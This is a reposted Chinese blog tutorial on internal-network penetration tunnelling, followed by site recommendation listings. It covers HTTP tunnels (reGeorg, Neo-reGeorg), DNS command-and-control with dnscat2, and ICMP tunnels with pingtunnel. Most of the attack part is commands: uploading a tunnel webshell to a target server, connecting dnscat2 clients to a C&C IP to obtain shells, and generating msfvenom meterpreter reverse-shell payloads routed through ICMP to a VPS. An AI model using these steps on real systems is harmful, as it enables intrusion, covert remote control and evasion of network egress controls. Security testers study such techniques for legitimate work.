HTTP_DNS_ICMP代理隧道（仅供学习用途，禁止非法用途）

最新推荐文章于 2025-06-13 09:35:40 发布
转载 最新推荐文章于 2025-06-13 09:35:40 发布 · 917 阅读 · 16 ·
CC 4.0 BY-SA版权
原文链接：https://blog.csdn.net/u012206617/article/details/106577713
文章标签：

#http #网络协议 #网络 #渗透测试 #内网 #安全 #提权

HTTP代理

reGeorg

https://github.com/NoneNotNull/reGeorg
reGeorg 是 reDuh 的升级版，主要功能是把内网服务器端口的数据通过
HTTP/HTTPS 隧道转发到本机，实现基于 HTTP 协议的通信。
reGeorg 支持 ASPX，ASHX，PHP，JSP 等WEB脚本，并特别提供了一个 tomcat5 版
本。
usage: reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v]
Socks server for reGeorg HTTP(s) tunneller
optional arguments:
-h, --help 显示此帮助信息并退出
-l , --listen-on 默认监听地址
-p , --listen-port   默认监听端口
-r , --read-buff     本地读取缓冲区，每个POST发送的最大数据
-u , --url 包含隧道脚本的url
-v , --verbose 详细输出(INFO|DEBUG)
用法：
python2 reGeorgSocksProxy.py -p 8080 -u
http://172.26.2.43:7001/bea_wls_internal/tunnel.t5.jsp

Neo-reGeorg

重构 reGeorg 的项目，目的是：
提高 tunnel 连接安全性
提高可用性，避免特征检测
提高传输内容保密性
应对更多的网络环境场景
https://github.com/L-codes/Neo-reGeorg
python3 neoreg.py -h
可选参数:
-h, - -help           显示此帮助消息并退出
-u URI, --url URI     包含隧道脚本的URL
-k KEY, --key KEY     指定连接密钥
-l IP, --listen-on IP 默认的监听地址。（默认：
127.0.0.1）
-p PORT, --listen-port PORT 默认的监听端口。（默认：1080）
-s, --skip           跳过可用性测试
-H LINE, --header LINE 将自定义header LINE传递给服务器
-c LINE, --cookie LINE 自定义初始化Cookie
-x LINE, --proxy LINE proto://host[:port]在给定端口上 使用代理
--local-dns           本地读取缓冲区，每个POST发送的最大数据量（默认值：2048 最大：2600）
--read-buff Bytes     本地读取缓冲区，每个POST发送的最大数据量（默认值：2048 最大：2600）
--read-interval MS   读取数据间隔，以毫秒为单位。（默认值：100）
--max-threads N       代理最大线程数（默认值：1000）
-v                   提高详细程度（使用-vv或更多以获得更好的效果）
1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
python3 neoreg.py generate -k passwd
[+] Mkdir a directory: neoreg_servers
[+] Create neoreg server files:
  => neoreg_servers/tunnel.ashx
  => neoreg_servers/tunnel.aspx
  => neoreg_servers/tunnel.jsp
  => neoreg_servers/tunnel.jspx
  => neoreg_servers/tunnel.php
2. 下载 tunnel 脚本到目标WEB服务
wget http://47.101.214.85:8000/tunnel.jsp
3. 使用 neoreg.py 连接WEB服务器，在本地建立 socks 代理，代理默认端口
1080
python3 neoreg.py -k passwd -u
http://218.76.8.99:38080/sh/tunnel.jsp

Pystinger

DNS隧道

Dnscat2

Dnscat2简介

dnscat2是一个DNS隧道工具，通过DNS协议创建加密的命令和控制通道，它的一大
特色就是服务端会有一个命令行控制台，所有的指令都可以在该控制台内完成。包
括：文件上传、下载、反弹Shell。
直连模式：客户端直接向指定IP的恶意DNS服务器发起DNS解析请求。
中继模式：像我们平时上网一样，DNS解析先经过互联网的迭代解析，最后指向我们
的恶意DNS服务器。相比直连，速度较慢，但是更安全。
名词解释
dnscat2支持的type类型
Type：DNS解析的类型，常见的有：A、CNAME、MX、TXT。
A: 域名的IPv4地址。
AAAA: 域名的IPv6地址。
CNAME: 域名的别名。
可以理解为域名的重定向吧，主要方便IP地址的变更。
比如cdn厂商会给客户企业分配固定的cname而不是IP，如果分配IP，cdn厂商做IP调整就受限哪些客户企业的哪些域名绑定了这个IP，需要沟通服务迁移。
还有在企业多个域名（www/mail/ftp或其他业务分类的域名）对应一个入口IP地址时候，也可以给多个域名做cname，便于后期的IP调整。
总之，别名是一种松耦合的处理办法。
MX: smtp邮箱域名的IP地址。给client端指明某个域名的邮件服务器地址。
PTR: 根据IP反向查找域名。
SRV: 服务的IP地址记录，包含ip、port、priority、weight。
TXT： 名的文本记录。可以记录联系方式、服务版本信息、反垃圾邮件等。
NS: dns zone。指定哪个域名服务器可以解析该域名的子域名。
SOA: 授权机构记录，记录ns中哪个是主服务器。
默认是TXT、CNAME、MX随机混合使用
A
TXT
CNAME
MX
AAAA

Dnscat2安装

服务端安装
apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
客户端编译
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
make编译之后会在此目录下生成一个dnscat可执行二进制文件。
Linux systemd-resolve占用53端口的解决方法 - ITren https://www.itren.org/
319.html

Dnscat2直连模式

启动服务端
ruby ./dnscat2.rb
启动客户端
./dnscat --dns server=139.155.49.43,port=53 -- secret=0f69f5a5e89a18b0c47fe12ec6f1896aW
服务端接收到会话
获取shell：
windows
session -i 1
shell
session -i 2
直连模式流量特征
tcpdump udp dst port 53

Dnscat2中继模式

准备
1. 一台公网C&C服务器
2. 一台内网靶机
3. 一个可配置解析的域名
配置DNS域名解析：
1. 创建A记录，将自己的域名解析服务器（ns.heetian.cn）指向云服务器
（139.155.49.43）
2. 创建NS记录，将子域名 dnsch.hetian.cn 的DNS解析交给 ns.heetian.cn
启动服务端
启动客户端
ruby ./dnscat2.rb dnsch.heetian.cn --secret=mingy
./dnscat --secret=mingy dnsch.heetian.cn
服务端接收会话
中继模式流量特征
tcpdump udp dst port 53

ICMP 隧道

Pingtunnel

https://github.com/esrrhs/pingtunnel
ICMP隧道作用
通过某种信道获取了内网主机的shell，但是当前信道不适合做远控的通信信道，
tcp 和 udp 等传输层协议不能出网， dns 、 http 等应用层协议也不能出网，只有
icmp 协议可以出网。
目的：上线仅icmp协议出网的内网主机
参数详解
# ./pingtunnel -h
通过伪造ping，把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。
用于突破某些运营商封锁TCP/UDP流量。
Usage:
  // server
  pingtunnel -type server
  // client, Forward udp
  pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t
SERVER_IP:4455
  // client, Forward tcp
  pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t
SERVER_IP:4455 -tcp 1
  // client, Forward sock5, implicitly open tcp, so no
target server is needed
  pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -
sock5 1
  -type     服务器或者客户端
服务器参数server param:
  -key     设置的密码，默认0
  -nolog   不写日志文件，只打印标准输出，默认0
  -noprint 不打印屏幕输出，默认0
  -loglevel 日志文件等级，默认info
  -maxconn 最大连接数，默认0，不受限制
  -maxprt   server最大处理线程数，默认100
  -maxprb   server最大处理线程buffer数，默认1000
  -conntt   server发起连接到目标地址的超时时间，默认1000ms
客户端参数client param:
  -l       本地的地址，发到这个端口的流量将转发到服务器
  -s       服务器的地址，流量将通过隧道转发到这个服务器
  -t       远端服务器转发的目的地址，流量将转发到这个地址
  -timeout 本地记录连接超时的时间，单位是秒，默认60s
  -key     设置的密码，默认0
  -tcp     设置是否转发tcp，默认0
  -tcp_bs   tcp的发送接收缓冲区大小，默认1MB
  -tcp_mw   tcp的最大窗口，默认20000
  -tcp_rst tcp的超时发送时间，默认400ms
  -tcp_gz   当数据包超过这个大小，tcp将压缩数据，0表示不压缩，默认0

ICMP隧道转发TCP上线MSF

1. VPS启动ICMP隧道服务端
139.155.49.43，icmp服务端和msf服务都在此VPS上
2. 靶机启动ICMP隧道客户端
icmp 客户端监听 127.0.0.1:9999 ，通过连接到 139.155.49.43 的 icmp 隧道，将
127.0.0.1:9999 收到的 tcp 数据包转发到 139.155.49.43:7777
3. MSF 生成反弹 shell 的 payload 上传到靶机
  -tcp_stat 打印tcp的监控，默认0
  -nolog   不写日志文件，只打印标准输出，默认0
  -noprint 不打印屏幕输出，默认0
  -loglevel 日志文件等级，默认info
  -sock5   开启sock5转发，默认0
  -profile 在指定端口开启性能检测，默认0不开启
  -s5filter sock5模式设置转发过滤，默认全转发，设置CN代表CN地区的直
连不转发
  -s5ftfile sock5模式转发过滤的数据文件，默认读取当前目录的
GeoLite2-Country.mmdb
./pingtunnel -type server
1
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 139.155.49.43
-t 139.155.49.43:7777 -tcp 1 -noprint 1 -nolog 1
1
msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=127.0.0.1 lport=9999 -f exe > 9999.exe
14. 执行 payload 反弹 shell 到 MSF

ICMP隧道转发socks上线MSF

1. VPS启动ICMP隧道服务端
139.155.49.43，icmp服务端和msf服务都在此VPS上
2. 靶机启动ICMP隧道客户端
icmp隧道客户端监听127.0.0.1:9999启动socks5服务，通过连接到139.155.49.43的
icmp隧道，由icmpserver转发socks5代理请求到目的地址 139.155.49.43:8899
3. MSF生成反弹shell的payload
生成支持socks5代理的反向payload
./pingtunnel -type server
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 139.155.49.43
-sock5 1 -noprint 1 -nolog 1
4. 执行payload反弹shell到MSF
msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=139.155.49.43 lport=8899 HttpProxyType=SOCKS
HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > 8899.exe
网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
谢公子的博客
03-05 6293
目录 ICMP隧道 使用ICMP搭建隧道(PingTunnel) 使用ICMP搭建隧道(Icmptunnel) ICMP隧道 ICMP隧道简单实用，是一个比较特殊的协议。在一般的通信协议里，如果两台设备要进行通信，肯定需要开放端口，而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议，攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下，每个ping命令都有相...
内网隧道代理技术（二十四）之 ICMP隧道介绍
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
09-14 410
ICMP（InternetControl MessageProtocol）Internet控制报文协议。它是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。我们平时所使用的 ping 命令就是使用的ICMP协议的。
解决浏览器自动将http跳转至https导致无法访问的问题
最新发布
分享各类领域技术问题
06-13 552
解决浏览器自动将http跳转至https导致无法访问的问题
pingtunnel:ICMP流量伪装转发工具 ping tunnel is a tool that advertises tcpudpsocks5 traffic as icmp traffic for forwarding
04-28
Pingtunnel pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具 注意：本工具只是用作学习研究，请勿用于非法用途！！！ 使用 安装服务端 首先准备好一个具有公网 ip 的服务器，假定域名或者公网 ip 是www.yourserver.com 从下载对应的安装包，如 pingtunnel_linux64.zip，然后解压，以root权限执行 sudo wget (最新release的下载链接) sudo unzip pingtunnel_linux64.zip sudo ./pingtunnel -type server (可选)关闭系统默认的 ping echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all 安装 GUI 客户端(新手推荐) 从下载 qt 的 gui 版本 双击 exe 运行，修改
内网隧道代理技术（二十六）之 搭建ICMP隧道上线CS
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
09-15 574
ICMP隧道简单实用，是一个比较特殊的协议。在一般的里，如果两台设备要进行通信，肯定需要开放端口，而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议，攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下，每个ping命令都有相应的回复与请求。
隐秘通信-使用PingTunnel搭建ICMP隧道实验
帮助别人等于帮助自己 ——MXi4oyu
08-09 1294
Internet Control Message Protocol Internet控制报文协议，简称ICMP协议。它是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。CMP协议主要提供两种功能，一种是差错报文，一种是信息类报文。信息类报文包括回显请求和回显应答，以及路由器通告和路由器请求。
Day07_计算机网络
weixin_45014721的博客
09-03 817
在三次握手过程中，服务器发送 SYN-ACK 之后，收到客户端的 ACK 之前的 TCP 连接称为半连接(half-open connect)。此时服务器处于 SYN_RCVD 状态。当收到 ACK 后，服务器才能转入 ESTABLISHED 状态.SYN攻击指的是，攻击客户端在短时间内伪造大量不存在的IP地址，向服务器不断地发送SYN包，服务器回复确认包，并等待客户的确认。
系统分析师学习笔记（十九）
cecily044的博客
05-11 4200
系统安全性分析与设计 信息系统安全体系 目前，信息安全威胁主要有以下几个方面： （1）系统稳定性和可靠性破坏行为，包括从外部网络针对内部网络的攻击入侵行为和病毒破坏等。 （2）大量信息设备的使用、维护和管理问题，包括违反规定的计算机、打印机和其他信息基础设施滥用，以及信息系统违规使用软件和硬件的行为。 （3）知识产权和内部机密材料等信息存储、使用和传输的保密性、完整性和可靠性存在可能的威胁，其中尤其以信息的保密性存在威胁的可能性最大。 1.系统安全的分类 信息系统的安全是一个复杂的综合体，涉及到系统的方方
计算机网络安全复习
2401_88857275的博客
12-30 1366
附加在数据单元上的一些数据，或是对数据单元所作的密码变换，这种数据和变换允许数据单元的接收者用以确认数据单元来源和数据单元的完整性，并保护数据，防止被人（例如接收者）进行伪造。
《网络安全基础》——习题集
2401_88752684的博客
11-18 801
产生具有源硬件地址的数据包，但这个地址并不是发送设备的源地址，通常这个非法地址与网络上另一台设备的地址相同。35、使网络服务器中充斥着大量要求回复的信息，消耗带宽，导致网络或系统停止正常服务，这属于什么攻击类型?67、下列各种安全协议中使用包过滤技术，适合用于可信的LAN到LAN之间的VPN，即内部网VPN 的是()65、针对下列各种安全协议，最适合使用外部网 VPN 上，用于在客户机到服务器的连接模式的是（）对电子邮件的攻击最常见的类型是基于验证的攻击，这是因为大多数 SMTP 协议中缺少。
分享国外安全团队及工具
热门推荐
专注企业信息安全－sec
03-19 1万+
名称 版 描述 主页 0trace 1.5 跳跃枚举工具 http://jon.oberheide.org/0trace/ 3proxy 0.7.1.1 微小的免费代理服务器。 http://3proxy.ru/ 3proxy-win32的 0.7.1....
隐藏隧道通信：Pingtunnel
f_carey的博客
10-14 2019
郑重声明： 本笔记编写目的只用于安全知识提升，并与更多人共享安全知识，切勿使用笔记中的技术进行违法活动，利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责，共同维护网络文明和谐。 隐藏隧道通信：Pingtunnel1 Pingtunnel 隧道原理2 实验环境3 配置服务端4 配置客户端 1 Pingtunnel 隧道原理 pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具 pingtunnel.exe -h 通过伪造ping，把t.
ICMP隧道之PingTunnel利用
Zlirving_的博客
02-13 1622
目录ICMP隧道PingTunnel环境配置实验利用查看流量包总结 ICMP隧道 icmp隧道简单、实用，是一个比较特殊的协议。在一般的通信协议里，如果两台设备进行通信肯定需要开放端口，而在icmp协议中则不需要。最常见的icmp消息为ping命令的回复，攻击者可以利用命令行得到比回复更多的icmp请求。 利用价值，在利用 ping 穿透防火墙的检测，因为通常防火墙是不会屏蔽 ping 数据包的。 PingTunnel 用于通过ICMP回显请求和答复数据包（通常称为ping请求和答复）可靠地建立TCP连接的
内网渗透之---PingTunnel怎么耍
Armandhe的博客
06-21 1815
内网渗透不得不说的秘密
隧道工具之PingTunnel流量分析
热爱学习，喜欢折腾！
08-30 403
PingTunnel是一款常用的ICMP隧道工具，可以跨平台使用，为了避免隧道被滥用，还可以为隧道设置密码。
通过 ICMP 协议实现 Ping Tunnel 建立可穿透网络隧道
林兴陆
04-26 7330
Twitter via Ping Tunnel周四 Cola 没去幼儿园，中午带着他去 KFC 吃东西。回来的时候小林指着西总布胡同说走这条路回去还是原路返回，他说还是...
渗透测试之内网渗透（二）：内网穿透
m0_74131821的博客
04-24 2675
本文将从内网穿透的原理开始探讨，根据不同的内网出网入网情况，灵活设计对应的内网穿透方案
内网渗透系列：内网隧道之pingtunnel
闵行小鱼塘
04-10 2203
本文研究ICMP隧道的一个工具，pingtunnel
ICMP隐蔽隧道工具Pingtunnel搭建隧道（附搭建环境避坑超详细）
huayimy的博客
01-02 2751
服务端（中间跳板机）：192.168.19.21（lan区段） & 192.168.203.144（nat模式）提前检查被控机win7的远程连接是否为开启状态，确认开启后，使用windows自带的远程桌面进行连接。在安装PingTunnel前，我们必须先要安装它的运行环境，否则安装失败。一台服务端（linux服务端，用于内网中转，lan区段+nat模式）一台客户端（kali攻击机，lan区段）一台远控机器（win7，lan区段）-da：指定要转发的目标机器的IP。一台靶机（win7，nat模式）
Eclipse报错dns_sd.jar缺失解决方法
根据提供的文件信息，我们能够了解到该问题与Java开发环境、DNS服务发现功能以及Apple系统特定支持软件的关联。下面对这些知识点进行详细说明： ### 知识点一：DNS-SD（DNS-based Service Discovery） DNS-SD是...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值